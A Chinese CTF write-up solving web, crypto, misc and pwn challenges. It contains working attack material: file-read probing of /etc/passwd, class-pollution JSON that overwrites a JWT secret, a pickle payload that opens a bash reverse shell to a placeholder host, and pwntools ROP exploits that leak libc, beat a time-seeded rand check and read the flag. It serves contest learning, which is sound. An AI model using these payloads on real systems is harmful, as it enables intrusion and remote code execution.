Web
capoo (一血)
爽喽


f12发
现读的图片,感觉应该能任意文件读取,读一下/etc/passwd
发现能读,再看一下环境变量/proc/1/environ,没有
再看一下/proc/1/cmdline,发现存在/bin/sh/docker-entrypoint.sh

再尝试一下start.sh

找到flag名称,直接读就能出flag
ez_picker
源码:
from sanic import Sanic
from sanic.response import json, file as file_, text, redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []
safe_modules = {
'math',
'datetime',
'json',
'collections',
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result = jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"] != "admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper
@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)
@app.route('/upload', methods=["GET", "POST"])
@token_required
async def upload(request):
if request.method == "GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)
file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)
return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)
@app.route('/register', methods=['GET', 'POST'])
async def register(request):
if request.method == 'GET':
return await file_('templates/register.html')
if request.json:
NewUser = User("username", "password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!", "redirect": "/login"})
@app.route('/login', methods=['GET', 'POST'])
async def login(request):
if request.method == 'GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data = {"user": username, "role": "guest"}
data['exp'] = int(time.time()) + 60 * 5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"] = token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
题目给了源码,
- 存在merge,并且User类有
__init__,一眼原型链污染,可以污染到global全局变量 - 存在
RestrictedUnpickler并重写了find_class,可以绕过来pickle反序列化
所以这道题思路就是先利用原型链污染来污染secret_key伪造admin,再污染safe_modules和safe_names来绕过RestrictedUnpickler限制即可.
源码中/register路由可以进行原型链污染

在/upload路由可以上传pkl文件来触发pickle反序列化.
所以直接先传
{
"__init__": {
"__globals__": {
"secret_key": "123456"
}
}
}
污染secret_key

之后jwt伪造

再污染
{
"__init__" : {
"__globals__" : {
"safe_names" :["getattr","system","dict","globals"]
}
}
}
和
{
"__init__" : {
"__globals__" : {
"safe_modules" : "builtins"
}
}
}
之后根据博客里面绕过builtins的例子写payload
import pickle
data='''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")'
tR.'''.encode()
with open('dddd.pkl', 'wb') as f:
f.write(data)
print(f"Type of 'data': {type(data)}")
print(f"Module of 'data': {data.__module__ if hasattr(data, '__module__') else 'N/A'}")
上传即可
PS:这shell弹的太慢了,我还以为环境死了差点关了….

Crypto
xor
题目描述
mimic is a keyword.
0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914
直接给gpt,秒了


Misc
ezflag
解压压缩包有个流量包,拿工具跑出来一个压缩包

解压后有个flag.zip,但是解压不出来,拿file看一下发现是一个png

之后改一下后缀即可得到flag

pwn
signin revenge
题目libc环境
那道题目的时候,发现题目是直接跑不起来的。开始以为是沙箱的问题,还是太菜了。其实更换题目libc环境的问题
这里跟换一下题目的libc环境,
patchelf --replace-needed libc.so.6 ./libc.so.6 vuln patchelf --set-interpreter ./ld-linux-x86-64.so.2 vulnldd vuln查看一下更换是否成功。
然后就可以正常运行了。
踩坑点:注意要把给定的libc文件进行授权。并且要在管理员模式下授权。
这里注意不换也行,正常打远程应该不影响做题,但是复现跑本地就会遇到麻烦了。但是如果是你是kali的话。把他俩放在同一文件下kali会自行匹配ld文件和libc文件
bbq@ubuntu:~/桌面/啊布拉布拉/11111$ ldd vuln linux-vdso.so.1 (0x00007fff6fb85000) ./libc.so.6 (0x00007fce115dc000) //--------------------------------------------->>>ld文件 ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fce117d0000)//------->>>libc文件 bbq@ubuntu:~/桌面/啊布拉布拉/11111$
先日常检查一下
bbq@ubuntu:~/桌面/啊布拉布拉/11111/2222$ checksec vuln
[*] '/home/bbq/桌面/啊布拉布拉/11111/2222/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
bbq@ubuntu:~/桌面/啊布拉布拉/11111/2222$
正常的NX和got表可写
丢进ida里面看看
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
sandbox();
puts("lets move and pwn!");
vuln();
return 0;
}
ssize_t vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
return read(0, buf, 0x130uLL);
}
进去可以明显的看见一个沙箱函数和我们所要纯在漏洞的read函数
简单看一下沙箱函数
这里我问了一下gpt,其实大概我的理解就是提醒我们使用ORW
ORW
首先通过open函数向bss段上中写入b'./flag\x00\x00',并将b'./flag\x00\x00'作为open函数的参数,构造open(b'./flag\x00\x00')用来打开当前目录名为flag的文件,其中0表示只读方式打开。然后构造 read(3, name_addr, 0x50) 将 flag 内容写入到 name 的地址处,再通过构造 write(1, name_addr, 0x50) 将 flag 内容从 name 的地址处输出到终端。
寄存器的偏移查找
ROPgadget --binary ./libc.so.6 --only 'pop|ret'
ROP链就是一个正常的泄露libc基址链
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./vuln')
#p=remote("pwn-d929761f60.challenge.xctf.org.cn", 9999, ssl=True)
p = process('./vuln')
rdi=0x0000000000401393
p.recvuntil("lets move and pwn!")
payload=b'a'*(0x100+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4012F0)
#bug()
p.send(payload)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
rdi = libc_base+0x0000000000023b6a
rsi = libc_base+0x000000000002601f
rdx = libc_base+0x0000000000142c92
rdx_r12=libc_base+0x0000000000119211
rax = libc_base+0x0000000000036174
ret = libc_base+0x0000000000022679
syscall=libc_base+0x000000000002284d
open_=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
mprotect=libc_base + libc.sym['mprotect']
bss=0x404060+0x500
p.recvuntil("lets move and pwn!")
payload=b'a'*(0x100)+p64(bss)+p64(rsi)+p64(bss)+p64(read)+p64(0x4012EE)
#bug()
p.send(payload)
#pause()
orw = b'/flag\x00\x00\x00'
orw += p64(rdi) + p64(bss) #/flag的字符串位置,要改
orw += p64(rsi) + p64(0)
orw += p64(open_)
orw += p64(rdi) + p64(3)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(read)
orw += p64(rdi) + p64(1)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(write)
#pr(hex(len(orw)))
p.send(orw)
p.interactive()
signin
日常检查
bbq@ubuntu:~/桌面/啊布拉布拉/11111$ checksec vuln
[*] '/home/bbq/桌面/啊布拉布拉/11111/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3f7000)
bbq@ubuntu:~/桌面/啊布拉布拉/11111$
两道题几乎一样,但是这道题多了几个绕过和伪随机数绕过
from pwn import*
import ctypes
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./vuln')
#p=remote("pwn-ecdfbe9bc0.challenge.xctf.org.cn", 9999, ssl=True)
p=process('./vuln')
def xun():
for i in range(100):
#print(payload)
p.recvuntil(b'Input the authentication code:')
#payload = str((elf1.rand()%100) + 1)
#p.send(payload)
p.send(p64(elf1.rand()%100+1))
# sleep(0.1)
rdi=0x0000000000401893
#gdb.attach(p)
#pause
p.send(b'1')
#sleep(0.5)
elf1=ctypes.CDLL("./libc.so.6")
#elf1=ctypes.LoadLibrary("./libc.so.6")
elf1.srand(elf1.time(0)) #与题目相同以时间为种子
xun()
p.sendafter(">> ",p32(1))
p.sendafter("Index: ",p32(1))
p.sendafter("Note: ",b'a')
payload=b'a'*(0x100+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x00000000040177B)
#bug()
p.send(payload)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
#print(hex(libc_base))
print(hex(libc_base))
rdi = libc_base+0x0000000000023b6a
rsi = libc_base+0x000000000002601f
rdx = libc_base+0x0000000000142c92
rdx_r12=libc_base+0x0000000000119211
rax = libc_base+0x0000000000036174
ret = libc_base+0x0000000000022679
syscall=libc_base+0x000000000002284d
open_=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
mprotect=libc_base + libc.sym['mprotect']
bss=0x404060+0x500
p.send(b'1')
#sleep(0.5)
elf1=ctypes.CDLL("./libc.so.6")
#elf1=ctypes.LoadLibrary("./libc.so.6")
elf1.srand(elf1.time(0)) #与题目相同以时间为种子
xun()
p.sendafter(">> ",p32(1))
p.sendafter("Index: ",p32(1))
p.sendafter("Note: ",b'a'*0x100)
#rl("lets move and pwn!")
payload=b'a'*(0x100)+p64(bss)+p64(rsi)+p64(bss)+p64(read)+p64(0x0004013EE)
#bug()
p.send(payload)
#pause()
orw = b'/flag\x00\x00\x00'
orw += p64(rdi) + p64(bss) #/flag的字符串位置,要改
orw += p64(rsi) + p64(0)
orw += p64(open_)
orw += p64(rdi) + p64(3)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(read)
orw += p64(rdi) + p64(1)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(write)
#print(hex(len(orw)))
print(hex(len(orw)))
p.send(orw)
p.interactive()

说些什么吧!